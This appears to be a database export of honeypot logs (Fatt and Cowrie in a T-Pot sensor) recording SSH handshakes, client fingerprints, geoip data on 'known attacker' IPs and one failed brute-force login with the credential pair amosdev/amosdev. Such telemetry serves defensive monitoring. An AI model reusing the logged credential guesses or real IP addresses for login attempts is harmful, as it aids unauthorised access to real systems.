20793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:11.240761+03	2021-09-20 14:15:02.830613+03	{"_id": "pQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44380, "timestamp": "2021-09-20T11:06:11.240761", "@timestamp": "2021-09-20T11:06:11.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20794	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:11.488198+03	2021-09-20 14:15:02.831612+03	{"_id": "pgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48186, "timestamp": "2021-09-20T11:06:11.488198", "@timestamp": "2021-09-20T11:06:11.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20795	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:11.531541+03	2021-09-20 14:15:02.832612+03	{"_id": "pwXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44380, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.531541", "@timestamp": "2021-09-20T11:06:11.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20796	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:11.54629+03	2021-09-20 14:15:02.833613+03	{"_id": "qAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55008, "timestamp": "2021-09-20T11:06:11.546290", "@timestamp": "2021-09-20T11:06:11.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20797	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:11.690786+03	2021-09-20 14:15:02.834613+03	{"_id": "qQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54194, "timestamp": "2021-09-20T11:06:11.690786", "@timestamp": "2021-09-20T11:06:11.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20798	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:11.709014+03	2021-09-20 14:15:02.835612+03	{"_id": "qgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47684, "timestamp": "2021-09-20T11:06:11.709014", "@timestamp": "2021-09-20T11:06:11.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20799	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.238521+03	2021-09-20 14:15:02.837613+03	{"_id": "qwXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1e1fef1d24ff", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:11.238521Z", "@timestamp": "2021-09-20T11:06:11.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20800	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.381714+03	2021-09-20 14:15:02.838613+03	{"_id": "rAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cea22d976ad8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:11.381714Z", "@timestamp": "2021-09-20T11:06:11.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20807	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:11.949243+03	2021-09-20 14:15:02.847612+03	{"_id": "swXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "09c97ad1b2cd", "@version": "1", "duration": 2.7799947261810303, "timestamp": "2021-09-20T11:06:11.949243Z", "@timestamp": "2021-09-20T11:06:11.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20801	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.532296+03	2021-09-20 14:15:02.839613+03	{"_id": "rQXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1e1fef1d24ff", "@version": "1", "timestamp": "2021-09-20T11:06:11.532296Z", "@timestamp": "2021-09-20T11:06:11.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20802	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:11.655585+03	2021-09-20 14:15:02.841613+03	{"_id": "rgXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [amosdev/amosdev] failed", "session": "5de38dafc0f9", "@version": "1", "password": "amosdev", "username": "amosdev", "timestamp": "2021-09-20T11:06:11.655585Z", "@timestamp": "2021-09-20T11:06:11.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20803	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:11.688581+03	2021-09-20 14:15:02.842613+03	{"_id": "rwXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7dbef6505905", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:11.688581Z", "@timestamp": "2021-09-20T11:06:11.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20804	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:11.706875+03	2021-09-20 14:15:02.843612+03	{"_id": "sAXiAnwBvYTbRNuEhfvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b4fc044894dd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:11.706875Z", "@timestamp": "2021-09-20T11:06:11.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
